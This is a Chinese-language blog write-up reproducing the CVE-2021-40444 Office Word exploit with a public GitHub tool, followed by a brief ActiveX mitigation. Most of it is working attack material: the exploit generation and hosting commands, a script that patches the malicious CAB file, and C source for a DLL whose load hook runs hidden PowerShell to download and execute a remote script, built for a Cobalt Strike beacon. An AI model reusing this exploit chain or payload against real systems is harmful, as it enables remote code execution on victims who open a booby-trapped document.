CVE-2021-40444

Office Word的一个1day,首先来复现一下使用,如果直接运行会显示CAB file建立时出错,需要先安装lacb。这里使用Tools老哥的一个方法,直接安装:

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make
sudo make install
which lcab

使用项目地址:https://github.com/lockedbyte/CVE-2021-40444

利用文档中给出的方法执行:

python3 exploit.py generate test/calc.dll http://192.168.111.130:5555

image-20210915103820898

然后监听

python3 exploit.py host 5555

image-20210915103914999

把在out文件夹下生成的document.docx拷贝到Windows下,此处的office2019,16.0.13929版本。运行docx文件,可以看到交互过程

image-20210915104537994

于是就可以弹出计算器
image-20210915104258300

从请求上看,有一个word.html文件,在srv目录下。打开查看,OK 看不懂。。。看样子是做了混淆?不过任然可以依稀看到ActiveXObject,这个大概跟利用ActiveX控件有关。

image-20210915105543173

可以来美化一下,虽然依旧看不懂就是。不过从中间大概可以看到几个关键点,XMLHttpRequest发起的请求,地址为http://192.168.111.130:5555/word.cab。所以这个cab文件才是真正执行的文件?

利用7z打开这个cab文件,文件标头为4D 53 43 46,虽然这个文件只有224K,但是里面有一个名为msword.inf的文件,大小为1G左右。这不太对。这个文件也在上面的js中提到过,所以大概是需要解压出来,想办法提取一下这个文件。

image-20210915112956403

该文件是Windows的压缩格式,一般是作为安装包文件。利用Kali下的cabextract来解压。没有的话直接安装就行。

cabextract --list word.cab

执行报错,这个文件不能正常解压提取,说明不是一个正经的cab文件。看一下python的处理代码

image-20210915120544407

可以发现其实msword.inf就是word.dll。这个dll文件就是一开始传入的calc.dll重命名来的。后面用lcab来生成cab文件,然后用函数patch_cab来处理这个cab文件。这么我们先把这个处理前生成的cab文件保存一下。

execute_cmd('lcab out.cab out2.cab')

获取到out2.cab,这个文件可以正常解压查看,所以我们先尝试是否能自己生成一个cab文件,利用dll来转换。

用cobaltstrike生成一个DLL文件,按照转换方式来处理一下。先改个名字,此处用的beacon作为名字,那么word.html中也要做相应的修改。或者把名字改为msword。

image-20210915141049112

然后需要patch一下,原项目中存在patch脚本,修改为类似如下:

#!/usr/bin/env python3
​
# Patch cab file
​
m_off = 0x2d
f = open('./beacon.cab','rb')
cab_data = f.read()
f.close()
​
out_cab_data = cab_data[:m_off]
out_cab_data += b'\x00\x5c\x41\x00'
out_cab_data += cab_data[m_off+4:]
​
out_cab_data = out_cab_data.replace(b'..\\beacon.inf', b'../beacon.inf')
​
f = open('./beacon2.cab','wb')
f.write(out_cab_data)
f.close()

但是在执行过程中并没有上线,不确定原因,可能是DLL的问题?CS生成的DLL不能直接拿来用?

使用C代码编译生成一个DLL,利用如下代码,编译执行即可。

#include <windows.h>
​
void exec(void) {
system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.111.130:80/a'))\"");
return;
}
​
BOOL WINAPI DllMain(
   HINSTANCE hinstDLL,
   DWORD fdwReason,
   LPVOID lpReserved )
{
   switch( fdwReason )
  {
       case DLL_PROCESS_ATTACH:
          exec();
          break;
​
       case DLL_THREAD_ATTACH:
           break;
​
       case DLL_THREAD_DETACH:
           break;
​
       case DLL_PROCESS_DETACH:
           break;
  }
   return TRUE;
}

编译

apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc -shared beacon.c -o beacon.dll

把文件放到test目录下,执行上面的命令。

image-20210915161830711

减轻影响

这个是利用ActiveX控件来执行的,而这个控件只有IE支持,到IE的选项-安全中,自定义安全级别,在运行ActiveX控件和插件选项中选择禁用。

参考地址:

https://github.com/lockedbyte/CVE-2021-40444

https://www.t00ls.cc/thread-62682-1-1.html

https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A





# web安全  

tocToc: